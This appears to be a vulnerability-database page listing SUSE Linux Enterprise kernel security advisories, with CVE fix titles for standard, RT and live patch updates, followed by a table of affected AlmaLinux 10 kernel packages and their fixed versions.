apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).

Record: SUSE-SU-2026:0984-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1003-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-40242: gfs2: Fix unlikely race in gdlm_put_lock (bsc#1255075).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1258340).
CVE-2026-23209: macvlan: fix error recovery in macvlan_common_newlink() (bsc#1258518).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management (bsc#1258850).
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1259857).

The following non-security bugs were fixed:

Disable CONFIG_NET_SCH_ATM (jsc#PED-12836).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix differential encoding verification (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix race between freeing data and fs accessing it (bsc#1258849).
apparmor: fix race on rawdata dereference (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).

Record: SUSE-SU-2026:1003-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1041-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP6 kernel was updated to receive various security bugfixes.

The following security bugs were fixed:

CVE-2023-53817: crypto: lib/mpi - avoid null pointer deref in mpi_cmp_ui() (bsc#1254992).
CVE-2024-38542: RDMA/mana_ib: boundary check before installing cq callbacks (bsc#1226591).
CVE-2025-37861: scsi: mpi3mr: Synchronous access b/w reset and tm thread for reply queue (bsc#1243055).
CVE-2025-39817: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare (bsc#1249998).
CVE-2025-39964: crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg (bsc#1251966).
CVE-2025-40099: cifs: parse_dfs_referrals: prevent oob on malformed input (bsc#1252911).
CVE-2025-40103: smb: client: Fix refcount leak for cifs_sb_tlink (bsc#1252924).
CVE-2025-40253: s390/ctcm: Fix double-kfree (bsc#1255084).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2025-71113: crypto: af_alg - zero initialize memory allocated via sock_kmalloc (bsc#1256716).
CVE-2025-71231: crypto: iaa - Fix out-of-bounds index in find_empty_iaa_compression_mode (bsc#1258424).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23111: netfilter: nf_tables: fix inverted genmask check in nft_map_catchall_activate() (bsc#1258181).
CVE-2026-23141: btrfs: send: check for inline extents in range_is_hole_in_parent() (bsc#1258377).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1258340).
CVE-2026-23209: macvlan: fix error recovery in macvlan_common_newlink() (bsc#1258518).
CVE-2026-23214: btrfs: reject new transactions if the fs is fully read-only (bsc#1258464).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management (bsc#1258850).
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1259857).

The following non-security bugs were fixed:

Add bugnumber to existing mana change (bsc#1251971).
Drivers: hv: fix missing kernel-doc description for 'size' in request_arr_init() (git-fixes).
Drivers: hv: remove stale comment (git-fixes).
Drivers: hv: vmbus: Clean up sscanf format specifier in target_cpu_store() (git-fixes).
Drivers: hv: vmbus: Fix sysfs output format for ring buffer index (git-fixes).
Drivers: hv: vmbus: Fix typos in vmbus_drv.c (git-fixes).
PCI: hv: Correct a comment (git-fixes).
PCI: hv: Remove unnecessary flex array in struct pci_packet (git-fixes).
PCI: hv: Remove unused field pci_bus in struct hv_pcibus_device (git-fixes).
PCI: hv: remove unnecessary module_init/exit functions (git-fixes).
RDMA/mana_ib: Access remote atomic for MRs (bsc#1251135).
RDMA/mana_ib: Add EQ creation for rnic adapter (git-fixes).
RDMA/mana_ib: Add device statistics support (git-fixes).
RDMA/mana_ib: Add device-memory support (git-fixes).
RDMA/mana_ib: Add port statistics support (git-fixes).
RDMA/mana_ib: Add support of 4M, 1G, and 2G pages (git-fixes).
RDMA/mana_ib: Add support of mana_ib for RNIC and ETH nic (git-fixes).
RDMA/mana_ib: Adding and deleting GIDs (git-fixes).
RDMA/mana_ib: Allow registration of DMA-mapped memory in PDs (git-fixes).
RDMA/mana_ib: Configure mac address in RNIC (git-fixes).
RDMA/mana_ib: Create and destroy RC QP (git-fixes).
RDMA/mana_ib: Create and destroy UD/GSI QP (git-fixes).
RDMA/mana_ib: Create and destroy rnic adapter (git-fixes).
RDMA/mana_ib: Drain send wrs of GSI QP (git-fixes).
RDMA/mana_ib: Enable RoCE on port 1 (git-fixes).
RDMA/mana_ib: Extend…

Record: SUSE-SU-2026:1041-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1077-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP5 RT kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-40242: gfs2: Fix unlikely race in gdlm_put_lock (bsc#1255075).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net: add skb_header_pointer_careful() helper (bsc#1258340).
CVE-2026-23209: macvlan: fix error recovery in macvlan_common_newlink() (bsc#1258518).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management (bsc#1258850).
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1259857).

The following non security issues were fixed:

apparmor: fix differential encoding verification (bsc#1258849).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix race between freeing data and fs accessing it (bsc#1258849).
apparmor: fix race on rawdata dereference (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).

Record: SUSE-SU-2026:1077-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1081-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP7 kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2023-53817: crypto: lib/mpi - avoid null pointer deref in mpi_cmp_ui() (bsc#1254992).
CVE-2025-37861: scsi: mpi3mr: Synchronous access b/w reset and tm thread for reply queue (bsc#1243055).
CVE-2025-39748: bpf: Forget ranges when refining tnum after JSET (bsc#1249587).
CVE-2025-39817: efivarfs: Fix slab-out-of-bounds in efivarfs_d_compare (bsc#1249998).
CVE-2025-39964: crypto: af_alg - Disallow concurrent writes in af_alg_sendmsg (bsc#1251966).
CVE-2025-40099: cifs: parse_dfs_referrals: prevent oob on malformed input (bsc#1252911).
CVE-2025-40103: smb: client: Fix refcount leak for cifs_sb_tlink (bsc#1252924).
CVE-2025-40201: kernel/sys.c: fix the racy usage of task_lock(tsk->group_leader) in sys_prlimit64() paths (bsc#1253455).
CVE-2025-40253: s390/ctcm: Fix double-kfree (bsc#1255084).
CVE-2025-68283: libceph: replace BUG_ON with bounds check for map->max_osd (bsc#1255379).
CVE-2025-68295: smb: client: fix memory leak in cifs_construct_tcon() (bsc#1255129).
CVE-2025-68374: md: fix rcu protection in md_wakeup_thread (bsc#1255530).
CVE-2025-68735: drm/panthor: Prevent potential UAF in group creation (bsc#1255811).
CVE-2025-68736: landlock: Fix handling of disconnected directories (bsc#1255698).
CVE-2025-68778: btrfs: don't log conflicting inode if it's a dir moved in the current transaction (bsc#1256683).
CVE-2025-68785: net: openvswitch: fix middle attribute validation in push_nsh() action (bsc#1256640).
CVE-2025-68810: KVM: Disallow toggling KVM_MEM_GUEST_MEMFD on an existing memslot (bsc#1256679).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2025-71071: iommu/mediatek: fix use-after-free on probe deferral (bsc#1256802).
CVE-2025-71104: KVM: x86: Fix VM hard lockup after prolonged inactivity with periodic HV timer (bsc#1256708).
CVE-2025-71113: crypto: af_alg - zero initialize memory allocated via sock_kmalloc (bsc#1256716).
CVE-2025-71125: tracing: Do not register unsupported perf events (bsc#1256784).
CVE-2025-71126: mptcp: reset fallback status gracefully at disconnect() time (bsc#1256755).
CVE-2025-71148: net/handshake: restore destructor on submit failure (bsc#1257159).
CVE-2025-71184: btrfs: fix NULL dereference on root when tracing inode eviction (bsc#1257635).
CVE-2025-71194: btrfs: fix deadlock in wait_current_trans() due to ignored transaction type (bsc#1257687).
CVE-2025-71225: md: suspend array while updating raid_disks via sysfs (bsc#1258411).
CVE-2026-22979: net: fix memory leak in skb_segment_list for GRO packets (bsc#1257228).
CVE-2026-22982: net: mscc: ocelot: Fix crash when adding interface under a lag (bsc#1257179).
CVE-2026-22998: nvme-tcp: fix NULL pointer dereferences in nvmet_tcp_build_pdu_iovec (bsc#1257209).
CVE-2026-23003: geneve: Fix incorrect inner network header offset when innerprotoinherit is set (bsc#1257246).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23010: ipv6: Fix use-after-free in inet6_addr_del() (bsc#1257332).
CVE-2026-23017: idpf: fix error handling in the init_task on load (bsc#1257552).
CVE-2026-23023: idpf: fix memory leak in idpf_vport_rel() (bsc#1257556).
CVE-2026-23035: net/mlx5e: Pass netdev to mlx5e_destroy_netdev instead of priv (bsc#1257559).
CVE-2026-23053: NFS: Fix a deadlock involving nfs_release_folio() (bsc#1257718).
CVE-2026-23057: vsock/virtio: Coalesce only linear skb (bsc#1257740).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23064: net/sched: act_ife: avoid possible NULL deref (bsc#1257765).
CVE-2026-23069: vsock/virtio: fix potential underflow in virtio_transport_get_credit() (bsc#1257755).
CVE-2026-23070: Octeontx2-af: Add proper…

Record: SUSE-SU-2026:1081-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1131-1 No score

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 RT kernel was updated to fix various security issues

The following security issues were fixed:

CVE-2024-46854: net: dpaa: Pad packets to ETH_ZLEN (bsc#1231084).
CVE-2025-21738: ata: libata-sff: Ensure that we cannot write outside the allocated buffer (bsc#1238917).
CVE-2025-40242: gfs2: Fix unlikely race in gdlm_put_lock (bsc#1255075).
CVE-2025-68312: usbnet: Prevents free active kevent (bsc#1255171).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1256645).
CVE-2025-71085: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr() (bsc#1256623).
CVE-2025-71112: net: hns3: add VLAN id validation before using (bsc#1256726).
CVE-2026-22999: net/sched: sch_qfq: do not free existing class in qfq_change_class() (bsc#1257236).
CVE-2026-23001: macvlan: fix possible UAF in macvlan_forward_source() (bsc#1257232).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1257231).
CVE-2026-23060: crypto: authencesn - reject too-short AAD (assoclen<8) to match ESP/ESN spec (bsc#1257735).
CVE-2026-23074: net/sched: Enforce that teql can only be used as root qdisc (bsc#1257749).
CVE-2026-23089: ALSA: usb-audio: Fix use-after-free in snd_usb_mixer_free() (bsc#1257790).
CVE-2026-23191: ALSA: aloop: Fix racy access at PCM trigger (bsc#1258395).
CVE-2026-23204: net: add skb_header_pointer_careful() helper (bsc#1258340).
CVE-2026-23209: macvlan: fix error recovery in macvlan_common_newlink() (bsc#1258518).
CVE-2026-23268: apparmor: fix unprivileged local user can do privileged policy management (bsc#1258850).
CVE-2026-23269: apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1259857).

The following non security issues were fixed:

apparmor: fix differential encoding verification (bsc#1258849).
apparmor: Fix double free of ns_name in aa_replace_profiles() (bsc#1258849).
apparmor: fix memory leak in verify_header (bsc#1258849).
apparmor: fix missing bounds check on DEFAULT table in verify_dfa() (bsc#1258849).
apparmor: fix race between freeing data and fs accessing it (bsc#1258849).
apparmor: fix race on rawdata dereference (bsc#1258849).
apparmor: fix side-effect bug in match_char() macro usage (bsc#1258849).
apparmor: fix unprivileged local user can do privileged policy management (bsc#1258849).
apparmor: fix: limit the number of levels of policy namespaces (bsc#1258849).
apparmor: replace recursive profile removal with iterative approach (bsc#1258849).
apparmor: validate DFA start states are in bounds in unpack_pdb (bsc#1258849).
net: hv_netvsc: reject RSS hash key programming without RX indirection table (bsc#1257473).
net: tcp: allow zero-window ACK update the window (bsc#1254767).
net: tcp: send zero-window ACK when no memory (bsc#1254767).
scsi: storvsc: Process unsupported MODE_SENSE_10 (bsc#1257296).
tcp: correct handling of extreme memory squeeze (bsc#1254767).
x86/its: Fix crash during dynamic its initialization (bsc#1257771).
x86/modules: Set VM_FLUSH_RESET_PERMS in module_alloc() (bsc#1257771).

Record: SUSE-SU-2026:1131-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1684-1 No score

Security update for the Linux Kernel RT (Live Patch 0 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.5 fixes various security issues

The following security issues were fixed:

CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1258073).
CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1684-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1686-1 No score

Security update for the Linux Kernel RT (Live Patch 3 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.7.13 fixes various security issues

The following security issues were fixed:

CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1686-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1691-1 No score

Security update for the Linux Kernel RT (Live Patch 8 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.7.28 fixes various security issues

The following security issues were fixed:

CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1691-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1694-1 No score

Security update for the Linux Kernel (Live Patch 6 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.53.22 fixes various security issues

The following security issues were fixed:

CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1694-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1698-1 No score

Security update for the Linux Kernel (Live Patch 8 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.53.28 fixes various security issues

The following security issues were fixed:

CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1698-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1708-1 No score

Security update for the Linux Kernel (Live Patch 2 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.53.6 fixes various security issues

The following security issues were fixed:

CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1258073).
CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1708-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1710-1 No score

Security update for the Linux Kernel (Live Patch 5 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.53.19 fixes various security issues

The following security issues were fixed:

CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1710-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1725-1 No score

Security update for the Linux Kernel (Live Patch 0 for SUSE Linux Enterprise 15 SP7)

This update for the SUSE Linux Enterprise kernel 6.4.0-150700.51 fixes various security issues

The following security issues were fixed:

CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1258073).
CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1725-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1728-1 No score

Security update for the Linux Kernel (Live Patch 16 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise kernel 6.4.0-150600.23.73 fixes various security issues

The following security issues were fixed:

CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1728-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1733-1 No score

Security update for the Linux Kernel (Live Patch 26 for SUSE Linux Enterprise 15 SP5)

This update for the SUSE Linux Enterprise kernel 5.14.21-150500.55.103 fixes various security issues

The following security issues were fixed:

CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1258073).
CVE-2025-39977: futex: Prevent use-after-free during requeue-PI (bsc#1252048).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1733-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1735-1 No score

Security update for the Linux Kernel (Live Patch 20 for SUSE Linux Enterprise 15 SP6)

This update for the SUSE Linux Enterprise kernel 6.4.0-150600.23.87 fixes various security issues

The following security issues were fixed:

CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1735-1
Updated: 2026-11-02

OSVSUSE-SU-2026:1770-1 No score

Security update for the Linux Kernel (Live Patch 34 for SUSE Linux Enterprise 15 SP5)

This update for the SUSE Linux Enterprise kernel 5.14.21-150500.55.133 fixes various security issues

The following security issues were fixed:

CVE-2025-38375: virtio-net: ensure the received length does not exceed allocated size (bsc#1258073).
CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change (bsc#1258005).
CVE-2026-23004: dst: fix races in rt6_uncached_list_del() and rt_del_uncached_list() (bsc#1258655).
CVE-2026-23204: net/sched: cls_u32: use skb_header_pointer_careful() (bsc#1259126).
CVE-2026-31431: crypto: algif_aead - Revert to operating out-of-place (bsc#1263689).

Record: SUSE-SU-2026:1770-1
Updated: 2026-11-02

Affected products

linux

Affected packages

Affected packages
Package	Affected	Fixed
`kernel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-devel-matched` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-debug-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2

Show 290 moreShow less

Affected packages
Package	Affected	Fixed
`kernel-64k-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-devel-matched` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-64k-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-abi-stablelists` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-cross-headers` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-devel-matched` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-debug-uki-virt` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-devel-matched` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-doc` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-headers` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-modules-extra-matched` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-debug-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-devel` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-modules` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-modules-core` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
`kernel-rt-64k-modules-extra` AlmaLinux:10	before 6.12.0-211.32.1.el10_2	6.12.0-211.32.1.el10_2
